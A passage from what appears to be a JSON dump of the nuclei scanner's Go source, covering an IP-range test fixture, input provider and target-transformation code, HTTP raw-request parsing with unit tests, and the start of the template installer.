    "content": "216.101.17.0\n216.101.17.1\n216.101.17.2\n216.101.17.3\n216.101.17.4\n216.101.17.5\n216.101.17.6\n216.101.17.7\n216.101.17.8\n216.101.17.9\n216.101.17.10\n216.101.17.11\n216.101.17.12\n216.101.17.13\n216.101.17.14\n216.101.17.15\n216.101.17.16\n216.101.17.17\n216.101.17.18\n216.101.17.19\n216.101.17.20\n216.101.17.21\n216.101.17.22\n216.101.17.23\n216.101.17.24\n216.101.17.25\n216.101.17.26\n216.101.17.27\n216.101.17.28\n216.101.17.29\n216.101.17.30\n216.101.17.31\n216.101.17.32\n216.101.17.33\n216.101.17.34\n216.101.17.35\n216.101.17.36\n216.101.17.37\n216.101.17.38\n216.101.17.39\n216.101.17.40\n216.101.17.41\n216.101.17.42\n216.101.17.43\n216.101.17.44\n216.101.17.45\n216.101.17.46\n216.101.17.47\n216.101.17.48\n216.101.17.49\n216.101.17.50\n216.101.17.51\n216.101.17.52\n216.101.17.53\n216.101.17.54\n216.101.17.55\n216.101.17.56\n216.101.17.57\n216.101.17.58\n216.101.17.59\n216.101.17.60\n216.101.17.61\n216.101.17.62\n216.101.17.63\n216.101.17.64\n216.101.17.65\n216.101.17.66\n216.101.17.67\n216.101.17.68\n216.101.17.69\n216.101.17.70\n216.101.17.71\n216.101.17.72\n216.101.17.73\n216.101.17.74\n216.101.17.75\n216.101.17.76\n216.101.17.77\n216.101.17.78\n216.101.17.79\n216.101.17.80\n216.101.17.81\n216.101.17.82\n216.101.17.83\n216.101.17.84\n216.101.17.85\n216.101.17.86\n216.101.17.87\n216.101.17.88\n216.101.17.89\n216.101.17.90\n216.101.17.91\n216.101.17.92\n216.101.17.93\n216.101.17.94\n216.101.17.95\n216.101.17.96\n216.101.17.97\n216.101.17.98\n216.101.17.99\n216.101.17.100\n216.101.17.101\n216.101.17.102\n216.101.17.103\n216.101.17.104\n216.101.17.105\n216.101.17.106\n216.101.17.107\n216.101.17.108\n216.101.17.109\n216.101.17.110\n216.101.17.111\n216.101.17.112\n216.101.17.113\n216.101.17.114\n216.101.17.115\n216.101.17.116\n216.101.17.117\n216.101.17.118\n216.101.17.119\n216.101.17.120\n216.101.17.121\n216.101.17.122\n216.101.17.123\n216.101.17.124\n216.101.17.125\n216.101.17.126\n216.101.17.127\n216.101.17.128\n216.101.17.129\n216.101.17.130\n216.101.17.131\n216.101.17.132\n216.101.17.133\n216.101.17.134\n216.101.17.135\n216.101.17.136\n216.101.17.137\n216.101.17.138\n216.101.17.139\n216.101.17.140\n216.101.17.141\n216.101.17.142\n216.101.17.143\n216.101.17.144\n216.101.17.145\n216.101.17.146\n216.101.17.147\n216.101.17.148\n216.101.17.149\n216.101.17.150\n216.101.17.151\n216.101.17.152\n216.101.17.153\n216.101.17.154\n216.101.17.155\n216.101.17.156\n216.101.17.157\n216.101.17.158\n216.101.17.159\n216.101.17.160\n216.101.17.161\n216.101.17.162\n216.101.17.163\n216.101.17.164\n216.101.17.165\n216.101.17.166\n216.101.17.167\n216.101.17.168\n216.101.17.169\n216.101.17.170\n216.101.17.171\n216.101.17.172\n216.101.17.173\n216.101.17.174\n216.101.17.175\n216.101.17.176\n216.101.17.177\n216.101.17.178\n216.101.17.179\n216.101.17.180\n216.101.17.181\n216.101.17.182\n216.101.17.183\n216.101.17.184\n216.101.17.185\n216.101.17.186\n216.101.17.187\n216.101.17.188\n216.101.17.189\n216.101.17.190\n216.101.17.191\n216.101.17.192\n216.101.17.193\n216.101.17.194\n216.101.17.195\n216.101.17.196\n216.101.17.197\n216.101.17.198\n216.101.17.199\n216.101.17.200\n216.101.17.201\n216.101.17.202\n216.101.17.203\n216.101.17.204\n216.101.17.205\n216.101.17.206\n216.101.17.207\n216.101.17.208\n216.101.17.209\n216.101.17.210\n216.101.17.211\n216.101.17.212\n216.101.17.213\n216.101.17.214\n216.101.17.215\n216.101.17.216\n216.101.17.217\n216.101.17.218\n216.101.17.219\n216.101.17.220\n216.101.17.221\n216.101.17.222\n216.101.17.223\n216.101.17.224\n216.101.17.225\n216.101.17.226\n216.101.17.227\n216.101.17.228\n216.101.17.229\n216.101.17.230\n216.101.17.231\n216.101.17.232\n216.101.17.233\n216.101.17.234\n216.101.17.235\n216.101.17.236\n216.101.17.237\n216.101.17.238\n216.101.17.239\n216.101.17.240\n216.101.17.241\n216.101.17.242\n216.101.17.243\n216.101.17.244\n216.101.17.245\n216.101.17.246\n216.101.17.247\n216.101.17.248\n216.101.17.249\n216.101.17.250\n216.101.17.251\n216.101.17.252\n216.101.17.253\n216.101.17.254\n216.101.17.255"
  },
  {
    "path": "pkg/input/provider/list/utils.go",
    "content": "package list\n\ntype ipOptions struct {\n\tScanAllIPs bool\n\tIPV4       bool\n\tIPV6       bool\n}\n"
  },
  {
    "path": "pkg/input/provider/simple.go",
    "content": "package provider\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n)\n\n// SimpleInputProvider is a simple input provider for nuclei\n// that acts like a No-Op and returns given list of urls as input\ntype SimpleInputProvider struct {\n\tInputs []*contextargs.MetaInput\n}\n\n// NewSimpleInputProvider creates a new simple input provider\nfunc NewSimpleInputProvider() *SimpleInputProvider {\n\treturn &SimpleInputProvider{\n\t\tInputs: make([]*contextargs.MetaInput, 0),\n\t}\n}\n\n// NewSimpleInputProviderWithUrls creates a new simple input provider with the given urls\nfunc NewSimpleInputProviderWithUrls(executionId string, urls ...string) *SimpleInputProvider {\n\tprovider := NewSimpleInputProvider()\n\tfor _, url := range urls {\n\t\tprovider.Set(executionId, url)\n\t}\n\treturn provider\n}\n\n// Count returns the total number of targets for the input provider\nfunc (s *SimpleInputProvider) Count() int64 {\n\treturn int64(len(s.Inputs))\n}\n\n// Iterate over all inputs in order\nfunc (s *SimpleInputProvider) Iterate(callback func(value *contextargs.MetaInput) bool) {\n\tfor _, input := range s.Inputs {\n\t\tif !callback(input) {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\n// Set adds an item to the input provider\nfunc (s *SimpleInputProvider) Set(_ string, value string) {\n\tmetaInput := contextargs.NewMetaInput()\n\tmetaInput.Input = value\n\ts.Inputs = append(s.Inputs, metaInput)\n}\n\n// SetWithProbe adds an item to the input provider with HTTP probing\nfunc (s *SimpleInputProvider) SetWithProbe(_ string, value string, probe types.InputLivenessProbe) error {\n\tprobedValue, err := probe.ProbeURL(value)\n\tif err != nil {\n\t\treturn err\n\t}\n\tmetaInput := contextargs.NewMetaInput()\n\tmetaInput.Input = probedValue\n\ts.Inputs = append(s.Inputs, metaInput)\n\treturn nil\n}\n\n// SetWithExclusions adds an item to the input provider if it doesn't match any of the exclusions\nfunc (s *SimpleInputProvider) SetWithExclusions(_ string, value string) error {\n\tmetaInput := contextargs.NewMetaInput()\n\tmetaInput.Input = value\n\ts.Inputs = append(s.Inputs, metaInput)\n\treturn nil\n}\n\n// InputType returns the type of input provider\nfunc (s *SimpleInputProvider) InputType() string {\n\treturn \"SimpleInputProvider\"\n}\n\n// Close the input provider and cleanup any resources\nfunc (s *SimpleInputProvider) Close() {\n\t// no-op\n}\n"
  },
  {
    "path": "pkg/input/transform.go",
    "content": "package input\n\nimport (\n\t\"net\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\t\"github.com/projectdiscovery/utils/ports\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\n// Helper is a structure for helping with input transformation\ntype Helper struct {\n\tInputsHTTP *hybrid.HybridMap\n}\n\n// NewHelper returns a new input helper instance\nfunc NewHelper() *Helper {\n\thelper := &Helper{}\n\treturn helper\n}\n\n// Close closes the resources associated with input helper\nfunc (h *Helper) Close() error {\n\tvar err error\n\tif h.InputsHTTP != nil {\n\t\terr = h.InputsHTTP.Close()\n\t}\n\treturn err\n}\n\n// Transform transforms an input based on protocol type and returns\n// appropriate input based on it.\nfunc (h *Helper) Transform(input string, protocol templateTypes.ProtocolType) string {\n\tswitch protocol {\n\tcase templateTypes.DNSProtocol, templateTypes.WHOISProtocol:\n\t\treturn h.convertInputToType(input, typeHostOnly, \"\")\n\tcase templateTypes.FileProtocol, templateTypes.OfflineHTTPProtocol:\n\t\treturn h.convertInputToType(input, typeFilepath, \"\")\n\tcase templateTypes.HTTPProtocol, templateTypes.HeadlessProtocol:\n\t\treturn h.convertInputToType(input, typeURL, \"\")\n\tcase templateTypes.NetworkProtocol:\n\t\treturn h.convertInputToType(input, typeHostWithOptionalPort, \"\")\n\tcase templateTypes.WebsocketProtocol:\n\t\treturn h.convertInputToType(input, typeWebsocket, \"\")\n\tcase templateTypes.SSLProtocol:\n\t\treturn h.convertInputToType(input, typeHostWithPort, \"443\")\n\t}\n\treturn input\n}\n\ntype inputType int\n\nconst (\n\ttypeHostOnly inputType = iota + 1\n\ttypeHostWithPort\n\ttypeHostWithOptionalPort\n\ttypeURL\n\ttypeFilepath\n\ttypeWebsocket\n)\n\n// convertInputToType converts an input based on an inputType.\n// Various formats are supported for inputs and their transformation\nfunc (h *Helper) convertInputToType(input string, inputType inputType, defaultPort string) string {\n\tisURL := strings.Contains(input, \"://\")\n\turi, _ := urlutil.Parse(input)\n\n\tvar host, port string\n\tif isURL && uri != nil {\n\t\thost, port, _ = net.SplitHostPort(uri.Host)\n\t} else {\n\t\thost, port, _ = net.SplitHostPort(input)\n\t}\n\n\thasHost := host != \"\"\n\thasPort := ports.IsValid(port)\n\thasDefaultPort := ports.IsValid(defaultPort)\n\n\tswitch inputType {\n\tcase typeFilepath:\n\t\t// if it has ports most likely it's not a file\n\t\tif hasPort {\n\t\t\treturn \"\"\n\t\t}\n\t\tif filepath.IsAbs(input) {\n\t\t\treturn input\n\t\t}\n\t\tif absPath, _ := filepath.Abs(input); absPath != \"\" && fileutil.FileOrFolderExists(absPath) {\n\t\t\treturn input\n\t\t}\n\t\tif _, err := filepath.Match(input, \"\"); err != filepath.ErrBadPattern && !isURL {\n\t\t\treturn input\n\t\t}\n\t\t// if none of these satisfy the condition return empty\n\t\treturn \"\"\n\tcase typeHostOnly:\n\t\tif hasHost {\n\t\t\treturn host\n\t\t}\n\t\tif isURL && uri != nil {\n\t\t\treturn uri.Hostname()\n\t\t}\n\t\treturn input\n\tcase typeURL:\n\t\tif uri != nil && stringsutil.EqualFoldAny(uri.Scheme, \"http\", \"https\") {\n\t\t\treturn input\n\t\t}\n\t\tif h.InputsHTTP != nil {\n\t\t\tif probed, ok := h.InputsHTTP.Get(input); ok {\n\t\t\t\treturn string(probed)\n\t\t\t}\n\t\t}\n\t\t// try to parse it as absolute url and return\n\t\tif absUrl, err := urlutil.ParseAbsoluteURL(input, false); err == nil {\n\t\t\treturn absUrl.String()\n\t\t}\n\tcase typeHostWithPort, typeHostWithOptionalPort:\n\t\tif hasHost && hasPort {\n\t\t\treturn net.JoinHostPort(host, port)\n\t\t}\n\t\tif uri != nil && !hasPort && uri.Scheme == \"https\" {\n\t\t\treturn net.JoinHostPort(uri.Host, \"443\")\n\t\t}\n\t\tif hasDefaultPort {\n\t\t\treturn net.JoinHostPort(input, defaultPort)\n\t\t}\n\t\tif inputType == typeHostWithOptionalPort {\n\t\t\treturn input\n\t\t}\n\tcase typeWebsocket:\n\t\tif uri != nil && stringsutil.EqualFoldAny(uri.Scheme, \"ws\", \"wss\") {\n\t\t\treturn input\n\t\t}\n\t\t// empty if prefix is not given\n\t\treturn \"\"\n\t}\n\t// do not return empty\n\treturn input\n}\n"
  },
  {
    "path": "pkg/input/transform_test.go",
    "content": "package input\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/hmap/store/hybrid\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestConvertInputToType(t *testing.T) {\n\thelper := &Helper{}\n\n\thm, err := hybrid.New(hybrid.DefaultDiskOptions)\n\trequire.NoError(t, err, \"could not create hybrid map\")\n\thelper.InputsHTTP = hm\n\tdefer func() {\n\t\t_ = hm.Close()\n\t}()\n\n\t_ = hm.Set(\"google.com\", []byte(\"https://google.com\"))\n\n\ttests := []struct {\n\t\tinput       string\n\t\tinputType   inputType\n\t\tresult      string\n\t\tdefaultPort string\n\t}{\n\t\t// host\n\t\t{\"google.com\", typeHostOnly, \"google.com\", \"\"},\n\t\t{\"google.com:443\", typeHostOnly, \"google.com\", \"\"},\n\t\t{\"https://google.com\", typeHostOnly, \"google.com\", \"\"},\n\t\t{\"https://google.com:443\", typeHostOnly, \"google.com\", \"\"},\n\n\t\t// url\n\t\t{\"test.com\", typeURL, \"test.com\", \"\"},\n\t\t{\"google.com\", typeURL, \"https://google.com\", \"\"},\n\t\t{\"https://google.com\", typeURL, \"https://google.com\", \"\"},\n\n\t\t// file\n\t\t{\"google.com:443\", typeFilepath, \"\", \"\"},\n\t\t{\"https://google.com:443\", typeFilepath, \"\", \"\"},\n\t\t{\"/example/path\", typeFilepath, \"/example/path\", \"\"},\n\t\t{\"input_test.go\", typeFilepath, \"input_test.go\", \"\"},\n\t\t{\"../input\", typeFilepath, \"../input\", \"\"},\n\t\t{\"input_test.*\", typeFilepath, \"input_test.*\", \"\"},\n\n\t\t// host-port\n\t\t{\"google.com\", typeHostWithPort, \"google.com\", \"\"},\n\t\t{\"google.com:443\", typeHostWithPort, \"google.com:443\", \"\"},\n\t\t{\"https://google.com\", typeHostWithPort, \"google.com:443\", \"\"},\n\t\t{\"https://google.com:443\", typeHostWithPort, \"google.com:443\", \"\"},\n\t\t// host-port with default port\n\t\t{\"google.com\", typeHostWithPort, \"google.com:443\", \"443\"},\n\n\t\t// host with optional port\n\t\t{\"google.com\", typeHostWithOptionalPort, \"google.com\", \"\"},\n\t\t{\"google.com:443\", typeHostWithOptionalPort, \"google.com:443\", \"\"},\n\t\t{\"https://google.com\", typeHostWithOptionalPort, \"google.com:443\", \"\"},\n\t\t{\"https://google.com:443\", typeHostWithOptionalPort, \"google.com:443\", \"\"},\n\t\t// host with optional port and default port\n\t\t{\"google.com\", typeHostWithOptionalPort, \"google.com:443\", \"443\"},\n\n\t\t// websocket\n\t\t{\"google.com\", typeWebsocket, \"\", \"\"},\n\t\t{\"google.com:443\", typeWebsocket, \"\", \"\"},\n\t\t{\"https://google.com:443\", typeWebsocket, \"\", \"\"},\n\t\t{\"wss://google.com\", typeWebsocket, \"wss://google.com\", \"\"},\n\t}\n\n\tfor _, test := range tests {\n\t\tresult := helper.convertInputToType(test.input, test.inputType, test.defaultPort)\n\t\trequire.Equal(t, test.result, result, \"could not get correct result %+v\", test)\n\t}\n}\n"
  },
  {
    "path": "pkg/input/types/http.go",
    "content": "package types\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/textproto\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n\t\"github.com/projectdiscovery/useragent\"\n\t\"github.com/projectdiscovery/utils/conversion\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\turlutil \"github.com/projectdiscovery/utils/url\"\n)\n\nvar (\n\t_ json.JSONCodec = &RequestResponse{}\n)\n\n// RequestResponse is a struct containing request and response\n// obtained from one of the input formats.\n// this struct can be considered as pd standard for request and response\ntype RequestResponse struct {\n\t// Timestamp is the timestamp of the request\n\t// Timestamp string `json:\"timestamp\"`\n\t// URL is the URL of the request\n\tURL urlutil.URL `json:\"url\"`\n\t// Request is the request of the request\n\tRequest *HttpRequest `json:\"request\"`\n\t// Response is the response of the request\n\tResponse *HttpResponse `json:\"response\"`\n\n\t// unexported / internal fields\n\t// lazy build request\n\treq    *retryablehttp.Request `json:\"-\"`\n\treqErr error                  `json:\"-\"`\n\tonce   sync.Once              `json:\"-\"`\n}\n\n// Clone clones the request response\nfunc (rr *RequestResponse) Clone() *RequestResponse {\n\tcloned := &RequestResponse{\n\t\tURL: *rr.URL.Clone(),\n\t}\n\tif rr.Request != nil {\n\t\tcloned.Request = rr.Request.Clone()\n\t}\n\tif rr.Response != nil {\n\t\tcloned.Response = rr.Response.Clone()\n\t}\n\treturn cloned\n}\n\n// BuildRequest builds a retryablehttp request from the request response\nfunc (rr *RequestResponse) BuildRequest() (*retryablehttp.Request, error) {\n\trr.once.Do(func() {\n\t\turlx := rr.URL.Clone()\n\t\tvar body io.Reader = nil\n\t\tif rr.Request.Body != \"\" {\n\t\t\tbody = strings.NewReader(rr.Request.Body)\n\t\t}\n\t\treq, err := retryablehttp.NewRequestFromURL(rr.Request.Method, urlx, body)\n\t\tif err != nil {\n\t\t\trr.reqErr = fmt.Errorf(\"could not create request: %s\", err)\n\t\t\treturn\n\t\t}\n\t\trr.Request.Headers.Iterate(func(k, v string) bool {\n\t\t\treq.Header.Add(k, v)\n\t\t\treturn true\n\t\t})\n\t\tif req.Header.Get(\"User-Agent\") == \"\" {\n\t\t\tuserAgent := useragent.PickRandom()\n\t\t\treq.Header.Set(\"User-Agent\", userAgent.Raw)\n\t\t}\n\t\trr.req = req\n\t})\n\treturn rr.req, rr.reqErr\n}\n\n// To be implemented in the future\n// func (rr *RequestResponse) BuildUnsafeRequest()\n\n// ID returns a unique id/hash for request response\nfunc (rr *RequestResponse) ID() string {\n\tvar buff bytes.Buffer\n\tbuff.WriteString(rr.URL.String())\n\tif rr.Request != nil {\n\t\tbuff.WriteString(rr.Request.ID())\n\t}\n\tif rr.Response != nil {\n\t\tbuff.WriteString(rr.Response.ID())\n\t}\n\tval := sha256.Sum256(buff.Bytes())\n\treturn string(val[:])\n}\n\n// MarshalJSON marshals the request response to json\nfunc (rr *RequestResponse) MarshalJSON() ([]byte, error) {\n\tm := make(map[string]interface{})\n\tm[\"url\"] = rr.URL.String()\n\treqBin, err := json.Marshal(rr.Request)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tm[\"request\"] = reqBin\n\trespBin, err := json.Marshal(rr.Response)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tm[\"response\"] = respBin\n\treturn json.Marshal(m)\n}\n\n// UnmarshalJSON unmarshals the request response from json\nfunc (rr *RequestResponse) UnmarshalJSON(data []byte) error {\n\tvar m map[string]json.Message\n\tif err := json.Unmarshal(data, &m); err != nil {\n\t\treturn err\n\t}\n\turlStrRaw, ok := m[\"url\"]\n\tif !ok {\n\t\treturn fmt.Errorf(\"missing url in request response\")\n\t}\n\tvar urlStr string\n\tif err := json.Unmarshal(urlStrRaw, &urlStr); err != nil {\n\t\treturn err\n\t}\n\tparsed, err := urlutil.ParseAbsoluteURL(urlStr, false)\n\tif err != nil {\n\t\treturn err\n\t}\n\trr.URL = *parsed\n\n\treqBin, ok := m[\"request\"]\n\tif ok {\n\t\tvar req HttpRequest\n\t\tif err := json.Unmarshal(reqBin, &req); err != nil {\n\t\t\treturn err\n\t\t}\n\t\trr.Request = &req\n\t}\n\n\trespBin, ok := m[\"response\"]\n\tif ok {\n\t\tvar resp HttpResponse\n\t\tif err := json.Unmarshal(respBin, &resp); err != nil {\n\t\t\treturn err\n\t\t}\n\t\trr.Response = &resp\n\t}\n\treturn nil\n}\n\n// HttpRequest is a struct containing the http request\ntype HttpRequest struct {\n\t// method of the request\n\tMethod string `json:\"method\"`\n\t// headers of the request\n\tHeaders mapsutil.OrderedMap[string, string] `json:\"headers\"`\n\t// body of the request\n\tBody string `json:\"body\"`\n\t// raw request (includes everything including method, headers, body, etc)\n\tRaw string `json:\"raw\"`\n}\n\n// ID returns a unique id/hash for raw request\nfunc (hr *HttpRequest) ID() string {\n\tval := sha256.Sum256([]byte(hr.Raw))\n\treturn string(val[:])\n}\n\n// Clone clones the request\nfunc (hr *HttpRequest) Clone() *HttpRequest {\n\treturn &HttpRequest{\n\t\tMethod:  hr.Method,\n\t\tHeaders: hr.Headers.Clone(),\n\t\tBody:    hr.Body,\n\t\tRaw:     hr.Raw,\n\t}\n}\n\ntype HttpResponse struct {\n\t// status code of the response\n\tStatusCode int `json:\"status_code\"`\n\t// headers of the response\n\tHeaders mapsutil.OrderedMap[string, string] `json:\"headers\"`\n\t// body of the response\n\tBody string `json:\"body\"`\n\t// raw response (includes everything including status code, headers, body, etc)\n\tRaw string `json:\"raw\"`\n}\n\n// Id returns a unique id/hash for raw response\nfunc (hr *HttpResponse) ID() string {\n\tval := sha256.Sum256([]byte(hr.Raw))\n\treturn string(val[:])\n}\n\n// Clone clones the response\nfunc (hr *HttpResponse) Clone() *HttpResponse {\n\treturn &HttpResponse{\n\t\tStatusCode: hr.StatusCode,\n\t\tHeaders:    hr.Headers.Clone(),\n\t\tBody:       hr.Body,\n\t\tRaw:        hr.Raw,\n\t}\n}\n\n// ParseRawRequest parses a raw request from a string\n// and returns the request and response object\n// Note: it currently does not parse response and is meant to be added manually since its a optional field\nfunc ParseRawRequest(raw string) (rr *RequestResponse, err error) {\n\tprotoReader := textproto.NewReader(bufio.NewReader(strings.NewReader(raw)))\n\tmethodLine, err := protoReader.ReadLine()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read method line: %s\", err)\n\t}\n\trr = &RequestResponse{\n\t\tRequest: &HttpRequest{},\n\t}\n\t/// must contain at least 3 parts\n\tparts := strings.Split(methodLine, \" \")\n\tif len(parts) < 3 {\n\t\treturn nil, fmt.Errorf(\"invalid method line: %s\", methodLine)\n\t}\n\tmethod := parts[0]\n\trr.Request.Method = method\n\n\t// parse relative url\n\turlx, err := urlutil.ParseRawRelativePath(parts[1], true)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to parse url: %s\", err)\n\t}\n\trr.URL = *urlx\n\n\t// parse host line\n\thostLine, err := protoReader.ReadLine()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read host line: %s\", err)\n\t}\n\tsep := strings.Index(hostLine, \":\")\n\tif sep <= 0 || sep >= len(hostLine)-1 {\n\t\treturn nil, fmt.Errorf(\"invalid host line: %s\", hostLine)\n\t}\n\thostLine = hostLine[sep+2:]\n\trr.URL.Host = hostLine\n\n\t// parse headers\n\trr.Request.Headers = mapsutil.NewOrderedMap[string, string]()\n\tfor {\n\t\tline, err := protoReader.ReadLine()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read header line: %s\", err)\n\t\t}\n\t\tif line == \"\" {\n\t\t\t// end of headers next is body\n\t\t\tbreak\n\t\t}\n\t\tparts := strings.SplitN(line, \":\", 2)\n\t\tif len(parts) != 2 {\n\t\t\treturn nil, fmt.Errorf(\"invalid header line: %s\", line)\n\t\t}\n\t\trr.Request.Headers.Set(parts[0], parts[1][1:])\n\t}\n\n\t// parse body\n\trr.Request.Body = \"\"\n\tvar buff bytes.Buffer\n\t_, err = buff.ReadFrom(protoReader.R)\n\tif err != nil && err != io.EOF {\n\t\treturn nil, fmt.Errorf(\"failed to read body: %s\", err)\n\t}\n\tif buff.Len() > 0 {\n\t\t// yaml may include trailing newlines\n\t\t// remove them if present\n\t\tbin := buff.Bytes()\n\t\tif bin[len(bin)-1] == '\\n' {\n\t\t\tbin = bin[:len(bin)-1]\n\t\t}\n\t\tif bin[len(bin)-1] == '\\r' || bin[len(bin)-1] == '\\n' {\n\t\t\tbin = bin[:len(bin)-1]\n\t\t}\n\t\trr.Request.Body = conversion.String(bin)\n\t}\n\n\t// set raw request\n\trr.Request.Raw = raw\n\treturn rr, nil\n}\n\n// ParseRawRequestWithURL parses a raw request from a string with given url\nfunc ParseRawRequestWithURL(raw, url string) (rr *RequestResponse, err error) {\n\trr, err = ParseRawRequest(raw)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\turlx, err := urlutil.ParseAbsoluteURL(url, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trr.URL = *urlx\n\treturn rr, nil\n}\n"
  },
  {
    "path": "pkg/input/types/http_test.go",
    "content": "package types\n\nimport (\n\t\"io\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\n// Possibly add more tests here.\nfunc TestParseHttpRequest(t *testing.T) {\n\ttests := []struct {\n\t\tname          string\n\t\tmethod        string\n\t\turl           string\n\t\theaderKey     string\n\t\theaderValue   string\n\t\tbody          string\n\t\tcontentLength string\n\t}{\n\t\t{\"GET Request\", \"GET\", \"example.com/\", \"X-Test\", \"test\", \"\", \"0\"},\n\t\t{\"POST Request with body\", \"POST\", \"example.com/resource\", \"Content-Type\", \"application/json\", `{\"key\":\"value\"}`, \"15\"},\n\t\t{\"PUT Request with body\", \"PUT\", \"example.com/update\", \"Content-Type\", \"text/plain\", \"update data\", \"11\"},\n\t\t{\"DELETE Request\", \"DELETE\", \"example.com/delete\", \"X-User\", \"user1\", \"\", \"0\"},\n\t}\n\n\tfor _, tc := range tests {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tvar bodyReader io.Reader\n\t\t\tif tc.body != \"\" {\n\t\t\t\tbodyReader = strings.NewReader(tc.body)\n\t\t\t}\n\t\t\treq, err := http.NewRequest(tc.method, \"http://\"+tc.url, bodyReader)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\treq.Header.Add(tc.headerKey, tc.headerValue)\n\t\t\tif tc.contentLength != \"\" {\n\t\t\t\treq.Header.Add(\"Content-Length\", tc.contentLength)\n\t\t\t}\n\t\t\tbinx, err := httputil.DumpRequestOut(req, true)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\trr, err := ParseRawRequest(string(binx))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tif rr.Request.Method != tc.method {\n\t\t\t\tt.Fatalf(\"invalid method: got %v want %v\", rr.Request.Method, tc.method)\n\t\t\t}\n\t\t\trequire.Equal(t, tc.url, rr.URL.String())\n\t\t\tval, _ := rr.Request.Headers.Get(tc.headerKey)\n\t\t\trequire.Equal(t, tc.headerValue, val)\n\t\t\tif tc.body != \"\" {\n\t\t\t\trequire.Equal(t, tc.body, rr.Request.Body)\n\t\t\t\tcontentLengthVal, _ := rr.Request.Headers.Get(\"Content-Length\")\n\t\t\t\trequire.Equal(t, tc.contentLength, contentLengthVal)\n\t\t\t}\n\n\t\t\tt.Log(*rr.Request)\n\t\t})\n\t}\n}\n\nfunc TestUnmarshalJSON(t *testing.T) {\n\ttests := []struct {\n\t\tname           string\n\t\trawJSONStr     string\n\t\texpectedURLStr string\n\t}{\n\t\t{\"basic url\", `{\"url\": \"example.com\"}`, \"example.com\"},\n\t\t{\"basic url with scheme\", `{\"url\": \"http://example.com\"}`, \"http://example.com\"},\n\t}\n\tfor _, tc := range tests {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\tvar rr RequestResponse\n\t\t\terr := rr.UnmarshalJSON([]byte(tc.rawJSONStr))\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t\tif tc.expectedURLStr != \"\" {\n\t\t\t\trequire.Equal(t, rr.URL.String(), tc.expectedURLStr)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/input/types/probe.go",
    "content": "package types\n\n// InputLivenessProbe is an interface for probing the liveness of an input\ntype InputLivenessProbe interface {\n\t// ProbeURL probes the scheme for a URL. first HTTPS is tried\n\tProbeURL(input string) (string, error)\n\t// Close closes the liveness probe\n\tClose() error\n}\n"
  },
  {
    "path": "pkg/installer/doc.go",
    "content": "package installer\n\n// package install provides helper functions for all download and installation of following tasks:\n// 1. downloading and install nuclei templates\n// 2. download and update nuclei binary (i.e self update)\n// 3. version check for nuclei binary & templates\n"
  },
  {
    "path": "pkg/installer/template.go",
    "content": "package installer\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/charmbracelet/glamour\"\n\t\"github.com/olekukonko/tablewriter\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/external/customtemplates\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n)\n\nconst (\n\tcheckSumFilePerm = 0644\n)\n\nvar (\n\tHideProgressBar        = true\n\tHideUpdateChangesTable = false\n\tHideReleaseNotes       = true\n)\n\n// TemplateUpdateResults contains the results of template update\ntype templateUpdateResults struct {\n\tadditions     []string\n\tdeletions     []string\n\tmodifications []string\n\ttotalCount    int\n}\n\n// String returns markdown table of template update results\nfunc (t *templateUpdateResults) String() string {\n\tvar buff bytes.Buffer\n\tdata := [][]string{\n\t\t{\n\t\t\tstrconv.Itoa(t.totalCount),\n\t\t\tstrconv.Itoa(len(t.additions)),\n\t\t\tstrconv.Itoa(len(t.modifications)),\n\t\t\tstrconv.Itoa(len(t.deletions)),\n\t\t},\n\t}\n\ttable := tablewriter.NewWriter(&buff)\n\ttable.Header([]string{\"Total\", \"Added\", \"Modified\", \"Removed\"})\n\tfor _, v := range data {\n\t\t_ = 